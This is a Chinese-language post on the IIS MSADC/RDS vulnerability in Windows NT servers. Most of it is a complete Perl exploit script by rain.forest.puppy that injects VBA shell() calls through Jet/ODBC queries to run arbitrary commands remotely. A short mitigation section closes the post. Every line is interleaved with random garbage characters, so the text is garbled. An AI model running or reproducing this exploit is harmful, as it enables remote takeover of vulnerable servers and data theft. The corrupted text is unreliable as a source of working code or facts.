IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]gI>ay"\QA i
Lr*W#E 涉及程序:
=xzDpn>f Microsoft NT server
)9LlM2+y =d07c 描述:
e_mUO" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;\~{7 9c 8/ lv, m# 详细:
X]up5tk~ 如果你没有时间读详细内容的话,就删除:
f44b=,Lry5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
5m2`$y-nb 有关的安全问题就没有了。
W[B%,Km%] V^Gz7`^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
m=;0NLs4 L%4[,Rsw 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
FnkB
z5D 关于利用ODBC远程漏洞的描述,请参看:
=~;SUO $r0~&$T& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :5 XNV6^| H(f~B<7q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
eteq Mg}M http://www.microsoft.com/security/bulletins/MS99-025faq.asp w#V{'{DKp |.kYomJ 这里不再论述。
Ph[P$: 9 !YUMAp/ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b'i-/l$ oq00)I1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
mDJF5I 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
QEd>T"@g %4X#|22n S0X%IG #将下面这段保存为txt文件,然后: "perl -x 文件名"
eK]g FXk UuDT=_1Sh #!perl
|a!AgvNF #
c*0pF=3 # MSADC/RDS 'usage' (aka exploit) script
o80?B~o #
-mD<8v[F # by rain.forest.puppy
~lB im$o #
kz4d"bTb # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{a>a?fVU # beta test and find errors!
B+e$S%HV XL@Y! use Socket; use Getopt::Std;
"YIrqk getopts("e:vd:h:XR", \%args);
K.A!?U= i1ph{;C print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%<^B\|d'? DK2m(9/`3 if (!defined $args{h} && !defined $args{R}) {
S@Rw+#QE print qq~
$i#
1<Qj Usage: msadc.pl -h <host> { -d <delay> -X -v }
fBgW0o.Bu -h <host> = host you want to scan (ip or domain)
x9fNIuAQ -d <seconds> = delay between calls, default 1 second
*Q=3v -X = dump Index Server path table, if available
WJH)>4M# -v = verbose
:\
%.x3T' -e = external dictionary file for step 5
x,kZ>^]&b Z<j(ZVO Or a -R will resume a command session
ZY%]F,Y QBi&Q%p iy ~; exit;}
RI,Z&kXj2o 1UR;} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Fi8'3/q-^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Bq}p]R3X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&r0b~RwUv if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
P\"|b\O1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FScE3~R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
TF)OBN~/ %m\dNUz4g if (!defined $args{R}){ $ret = &has_msadc;
L0j&p[(r die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$6p_`LD0 {?-@`FR- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
x50,4J%J'r . "cmd /c ";
C)2Waj} $in=<STDIN>; chomp $in;
q%HT)^F9oO $command="cmd /c " . $in ;
.A;D-"! )"j)9RQ} if (defined $args{R}) {&load; exit;}
z"`q-R }m 8FY.u{93 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*G{%]\s? &try_btcustmr;
{fsU(Jj\ b_Us%{ print "\nStep 2: Trying to make our own DSN...";
*W()|-[V3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<|= UrG E;l|I
A/7 print "\nStep 3: Trying known DSNs...";
B1]5% B &known_dsn;
j~+<~2%c > UT Ak print "\nStep 4: Trying known .mdbs...";
>Le L%$ &known_mdb;
OLAwRha ,X Zo0! if (defined $args{e}){
Fv n:V\eb print "\nStep 5: Trying dictionary of DSN names...";
%vPs38Fks &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_I;+p eq F<8Rr#Z print "Sorry Charley...maybe next time?\n";
i#I+ exit;
%j],6wW5J m2o*d$Ke ##############################################################################
np|3 os `I$'Lp#5 sub sendraw { # ripped and modded from whisker
+dWx?$n sleep($delay); # it's a DoS on the server! At least on mine...
; z_ZZ(W my ($pstr)=@_;
m&)5QX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pDr%uL die("Socket problems\n");
/]=dPb% if(connect(S,pack "SnA4x8",2,80,$target)){
3eUTV<! select(S); $|=1;
f&+=eUp print $pstr; my @in=<S>;
(yk^% select(STDOUT); close(S);
# 4E@y<l$ return @in;
u|m>h(O } else { die("Can't connect...\n"); }}
w3lR8R] / d
S! ##############################################################################
Tjo
K]] MS{purD sub make_header { # make the HTTP request
[t55Kz*cD my $msadc=<<EOT
4am`X1YV# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
h>v;1QO9D User-Agent: ACTIVEDATA
[uxhdR`T Host: $ip
bSmF"H0cP Content-Length: $clen
rK%<2i Connection: Keep-Alive
eto3dJ!R M7"I]$|\ ADCClientVersion:01.06
/60`"xH Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D`]Lm 24_] m x@F^ --!ADM!ROX!YOUR!WORLD!
q1j<p)( Content-Type: application/x-varg
aVv$k Content-Length: $reqlen
d#:&Uw 3nt&Sf EOT
a' "4:(L ; $msadc=~s/\n/\r\n/g;
w[w{~`([", return $msadc;}
<VD^f JpN]j` ##############################################################################
7
}`c:u~j 82Fq}N
< sub make_req { # make the RDS request
a
p-\R my ($switch, $p1, $p2)=@_;
Ojj:YLlY> my $req=""; my $t1, $t2, $query, $dsn;
-|^}~yOx0= @/}{Trmg/ if ($switch==1){ # this is the btcustmr.mdb query
O/\ L0\T $query="Select * from Customers where City=" . make_shell();
1Sox@Ko $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=jvM$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}IvJIr v)@EK6Nty elsif ($switch==2){ # this is general make table query
QC.WR'. $query="create table AZZ (B int, C varchar(10))";
SdhdXVZ $dsn="$p1";}
5T,Doxo i:`ur elsif ($switch==3){ # this is general exploit table query
%+oWW5q7 $query="select * from AZZ where C=" . make_shell();
8cn)ox|J[ $dsn="$p1";}
Tj@}O:q7: Ju$= Tn elsif ($switch==4){ # attempt to hork file info from index server
Z;shFMu $query="select path from scope()";
P9Hv){z $dsn="Provider=MSIDXS;";}
xN
wKTIK$ 4kGA`XhS* elsif ($switch==5){ # bad query
h: :'s&| $query="select";
2V(ye9 $dsn="$p1";}
V-a/%_D J 2%^%5&0 $t1= make_unicode($query);
9_'xq.uP $t2= make_unicode($dsn);
2<}^m/} $req = "\x02\x00\x03\x00";
"-xm+7 $req.= "\x08\x00" . pack ("S1", length($t1));
Be+'&+ $req.= "\x00\x00" . $t1 ;
>T{9-_#P $req.= "\x08\x00" . pack ("S1", length($t2));
a9z|ef $req.= "\x00\x00" . $t2 ;
]xQPSs_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
u`Djle return $req;}
jLC,<V* 6N(Wv0b $ ##############################################################################
log{jF }xTTz,Oj$ sub make_shell { # this makes the shell() statement
]d?`3{h9LD return "'|shell(\"$command\")|'";}
yA*~O$~Y %?+A.0]E ##############################################################################
VVeO>j d 6}mbj=E` sub make_unicode { # quick little function to convert to unicode
}Q_IqI[7 my ($in)=@_; my $out;
CYrVP%xRA for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%cG6=`vR return $out;}
X>OO4SV [P)'LY6F
##############################################################################
eKn&`\j6 Vnuz!
6. sub rdo_success { # checks for RDO return success (this is kludge)
+<6L>ZAL my (@in) = @_; my $base=content_start(@in);
G T#hqt'1x if($in[$base]=~/multipart\/mixed/){
rz+G]J return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P,!si# return 0;}
gT-'#K2qT 9Q-/Yh ##############################################################################
T8>:@EL-k qC?J`
sub make_dsn { # this makes a DSN for us
w[\*\'Vm0 my @drives=("c","d","e","f");
s<'^
@Y print "\nMaking DSN: ";
+Y(cs&V* foreach $drive (@drives) {
x3T)/'( print "$drive: ";
wl2rw93 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~R-S$qizAC "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
r<V]MwO= . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/,$;xt-J35 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
o%X_V!B{V return 0 if $2 eq "404"; # not found/doesn't exist
r~F T, if($2 eq "200") {
X!&DKE foreach $line (@results) {
,e( |,u return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8#'<SB } return 0;}
rxC EOG zkn K2e,$ ##############################################################################
EHkb{Q8 E4[
|=< sub verify_exists {
WK0?$[|=r my ($page)=@_;
A=!&2( my @results=sendraw("GET $page HTTP/1.0\n\n");
B)/X:[ return $results[0];}
wx -NUTRim 7&XU]I ##############################################################################
+mhYr]Z 5+rYk|*D+k sub try_btcustmr {
-"u}lCz> my @drives=("c","d","e","f");
Dk|S`3 my @dirs=("winnt","winnt35","winnt351","win","windows");
j(F%uUpN k#R}^Q foreach $dir (@dirs) {
4ao
oBY$ print "$dir -> "; # fun status so you can see progress
2,puu2F foreach $drive (@drives) {
dKDtj: print "$drive: "; # ditto
^i_mGeu $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>WE3$Q>bi $reqlenlen=length( "$reqlen" );
fF[n?:VV $clen= 206 + $reqlenlen + $reqlen;
_X;^'mqf~ hD{+V!{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N~l(ng9'U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P~redX=t@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
GV6!`@< SEXeK2v ##############################################################################
su j? e6 J)A1`(x&T sub odbc_error {
v3[Z]+ ] my (@in)=@_; my $base;
bBAZr`<&U my $base = content_start(@in);
#!rng]p if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
u91;GBY $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|!8[Vg^Wh $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ncb?iJ/b^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.
l RW return $in[$base+4].$in[$base+5].$in[$base+6];}
XD{U5.z>y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
X3(:)zUL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
T({:Y. A; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
bM_Y(TgJ _ot4HmD ##############################################################################
)+wBS3BC Xw`vf7z* sub verbose {
w4:S>6X my ($in)=@_;
;nji< return if !$verbose;
ldrKk'S,B print STDOUT "\n$in\n";}
*PMvA1eN=# ;WJ}zjo > ##############################################################################
/tc*jXB qW6a|s0} sub save {
&zlwV"W my ($p1, $p2, $p3, $p4)=@_;
A|CW4f, open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Zq2dCp% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'Z+w\0}@ close OUT;}
Y"D'|i 'I($IM ##############################################################################
m;WUp{' {\ P$5O{% sub load {
`/f9
mn my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Tc,Bv7: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_Z.lr\ @p=<IN>; close(IN);
49nZWv48"_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
TOn{o}Y B $target= inet_aton($ip) || die("inet_aton problems");
,E3"AisI print "Resuming to $ip ...";
t@#sKdv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\U4O*lq if($p[1]==1) {
A@j;H| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1}tZ,w> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w}G2m)( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
dD1`[% if (rdo_success(@results)){print "Success!\n";}
pM@|P,w { else { print "failed\n"; verbose(odbc_error(@results));}}
Kw3fpNd elsif ($p[1]==3){
v{i'o4 if(run_query("$p[3]")){
/v:g' #n print "Success!\n";} else { print "failed\n"; }}
zPe4WE| elsif ($p[1]==4){
X |.'_6l. if(run_query($drvst . "$p[3]")){
Ht5 %fcD print "Success!\n"; } else { print "failed\n"; }}
Vg#s exit;}
|0U"#xkf G`ZpFg0Y ##############################################################################
[N$da=`wv VFT
G3,kI sub create_table {
8js5/G+ my ($in)=@_;
!X(Lvt/ $reqlen=length( make_req(2,$in,"") ) - 28;
RU,f|hB4 $reqlenlen=length( "$reqlen" );
Z_QSVH68A $clen= 206 + $reqlenlen + $reqlen;
>^Klq`"?g= my @results=sendraw(make_header() . make_req(2,$in,""));
X, <l return 1 if rdo_success(@results);
KM g`O3_16 my $temp= odbc_error(@results); verbose($temp);
Nm--h$G return 1 if $temp=~/Table 'AZZ' already exists/;
X1]&j2WR return 0;}
$)mq /wK5YN.em ##############################################################################
y<m{eDV7 _b<Fz`V sub known_dsn {
hqnJ@N$yY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:4}?%3&; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_U1~^ucV "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3P6pQm'.f "banner", "banners", "ads", "ADCDemo", "ADCTest");
u6'vzLmM d@b 0z$<s foreach $dSn (@dsns) {
GxLoNVr print ".";
x +!<_p next if (!is_access("DSN=$dSn"));
?g}n$%*5y! if(create_table("DSN=$dSn")){
+Q_X,gZ print "$dSn successful\n";
/R8>f if(run_query("DSN=$dSn")){
XLwbA4ORq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U>(5J,G print "Something's borked. Use verbose next time\n";}}} print "\n";}
;Z-Cn. 2xZg, \ ##############################################################################
!3DWz6u ;wbQTp2 sub is_access {
V,<,;d fR my ($in)=@_;
RecA?-0 $reqlen=length( make_req(5,$in,"") ) - 28;
QBR9BR $reqlenlen=length( "$reqlen" );
Wcz{": [ $clen= 206 + $reqlenlen + $reqlen;
#-'=)l}i1A my @results=sendraw(make_header() . make_req(5,$in,""));
'/\@Mc4T my $temp= odbc_error(@results);
y rdJX verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ndOPD]A' return 0;}
[@";\C_I rnIv|q6@ ##############################################################################
+%>s\W+?] Gs7mO sub run_query {
?6p6OB my ($in)=@_;
\u2K?wC $reqlen=length( make_req(3,$in,"") ) - 28;
\_!FOUPz( $reqlenlen=length( "$reqlen" );
Uey.@ 2Q $clen= 206 + $reqlenlen + $reqlen;
)*G3q/l1u6 my @results=sendraw(make_header() . make_req(3,$in,""));
"}\2zub9 return 1 if rdo_success(@results);
req=w;E: my $temp= odbc_error(@results); verbose($temp);
(i|`PA return 0;}
n8w|8[uV^ r4gkSwy ##############################################################################
J@"Pv~R 3LG}x/l sub known_mdb {
hAOXOj1 my @drives=("c","d","e","f","g");
-]Z!_[MlDF my @dirs=("winnt","winnt35","winnt351","win","windows");
H+F?)VX}oA my $dir, $drive, $mdb;
UX41/# 4 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V{HZ/p_Y 394u']M # this is sparse, because I don't know of many
3! dD!' my @sysmdbs=( "\\catroot\\icatalog.mdb",
?fXg_?+{'g "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(
]AErz+ "\\system32\\certmdb.mdb",
=P'=P0G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+;C|5y 9*[!uu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Wv77ef "\\cfusion\\cfapps\\forums\\forums_.mdb",
ve1jLjsB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
H$Q$3Q!` "\\cfusion\\cfapps\\security\\realm_.mdb",
BC(f1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(*/P~$xIj "\\cfusion\\database\\cfexamples.mdb",
u,PrEmy- "\\cfusion\\database\\cfsnippets.mdb",
{Xwin$C "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:B$=Pp1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
(dpBGt@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
izY,t! "\\cfusion\\database\\smpolicy.mdb",
vO]gj/SaT "\\cfusion\\database\cypress.mdb",
^M,t`r{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~NpnRIt "\\website\\cgi-win\\dbsample.mdb",
U>e@m? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
agBKp! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
oMLpl3pl ); #these are just
*W(b = u foreach $drive (@drives) {
PaMi5Pq foreach $dir (@dirs){
=WyAOgy} foreach $mdb (@sysmdbs) {
0w< iz;30 print ".";
?TMo6SU if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
k/H<UW?Z] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Lg9]kpOpa if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
r;O{et't7y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
b 7aAP*$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
Y91TF' 36J)O-Ti foreach $drive (@drives) {
p&Nw:S foreach $mdb (@mdbs) {
66:|) print ".";
;f?OT7>kN if(create_table($drv . $drive . $dir . $mdb)){
vIN6W print "\n" . $drive . $dir . $mdb . " successful\n";
hh+GW*'~ if(run_query($drv . $drive . $dir . $mdb)){
d>@{!c- print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
GS8,mQ8l*l } else { print "Something's borked. Use verbose next time\n"; }}}}
* fSa8CV }
P/nXY U!3nn#!yE ##############################################################################
pm5Yc@D at7/KuY!~ sub hork_idx {
gJs~kQU print "\nAttempting to dump Index Server tables...\n";
{:4); . print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5kC#uk $reqlen=length( make_req(4,"","") ) - 28;
ynZ! $reqlenlen=length( "$reqlen" );
S_ nTp) $clen= 206 + $reqlenlen + $reqlen;
Rv.W~FE^ my @results=sendraw2(make_header() . make_req(4,"",""));
(>WV) if (rdo_success(@results)){
CdWGb[uI my $max=@results; my $c; my %d;
q69a-5q for($c=19; $c<$max; $c++){
OX8jCW $results[$c]=~s/\x00//g;
xs.[]>nQN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[USXNe/
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
e=8ccj $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
@3VL
_g: $d{"$1$2"}="";}
AuO%F
YKY foreach $c (keys %d){ print "$c\n"; }
hzKfYJcQ| } else {print "Index server doesn't seem to be installed.\n"; }}
?ZTB u[ v^,A~oe`t ##############################################################################
dE^(KBF
~ikTo - sub dsn_dict {
M$! 0ikh open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;R2(Gb while(<IN>){
35&&*$Jm $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
fF-V=Zf5 next if (!is_access("DSN=$dSn"));
m#8}!u& if(create_table("DSN=$dSn")){
RL)'m print "$dSn successful\n";
I, if(run_query("DSN=$dSn")){
laFkOQI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w`!Yr:dU print "Something's borked. Use verbose next time\n";}}}
~x4Y57 print "\n"; close(IN);}
UAcABL^2 ghms-.:b8 ##############################################################################
>"`:w
.3ic%u;|D sub sendraw2 { # ripped and modded from whisker
3F X`dZ sleep($delay); # it's a DoS on the server! At least on mine...
[oKB1GkA my ($pstr)=@_;
W@UHqHr:\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q FX|ZsmK die("Socket problems\n");
PN\2 ^@>_ if(connect(S,pack "SnA4x8",2,80,$target)){
Q{$2D& print "Connected. Getting data";
4pc=MR open(OUT,">raw.out"); my @in;
!w
C4ei` select(S); $|=1; print $pstr;
'}!dRpx while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
xmVK{Q YT$ close(OUT); select(STDOUT); close(S); return @in;
@|d|orMC } else { die("Can't connect...\n"); }}
g|n Pr)< WX?|iw
I~ ##############################################################################
Ge97e/CY u$a%{46 sub content_start { # this will take in the server headers
DORFK my (@in)=@_; my $c;
{ifYr(|p` for ($c=1;$c<500;$c++) {
!PQ@"L)p if($in[$c] =~/^\x0d\x0a/){
V}aXS;(r% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
A#8/:t1AW else { return $c+1; }}}
WcqYpPv return -1;} # it should never get here actually
Zu+Z7@$}/ ?!A{n3\< ##############################################################################
lI&0
V5 7J')o^MG sub funky {
} O!LTD my (@in)=@_; my $error=odbc_error(@in);
koAc-o
if($error=~/ADO could not find the specified provider/){
b,{?+8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
j~L{=ojz% exit;}
yWX:`*GV if($error=~/A Handler is required/){
xpSMbX{e print "\nServer has custom handler filters (they most likely are patched)\n";
Yoaz|7LS exit;}
K}a[ ~ if($error=~/specified Handler has denied Access/){
T=>&`aZH print "\nServer has custom handler filters (they most likely are patched)\n";
`aSz"4Wd exit;}}
ggbew6L$Z \hm=AGI0 ##############################################################################
*.Kc-f4mP Va
!HcG1^: sub has_msadc {
&&>OhH` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|EF*]qI my $base=content_start(@results);
Nf3Kz#!B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
N4$0ptz#}G return 0;}
Ai/ay# E H!s &]b ########################
VxsW3*` ~+4OG 0 o&X!75^G> 解决方案:
*S<>_R 8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fxyPh 2、移除web 目录: /msadc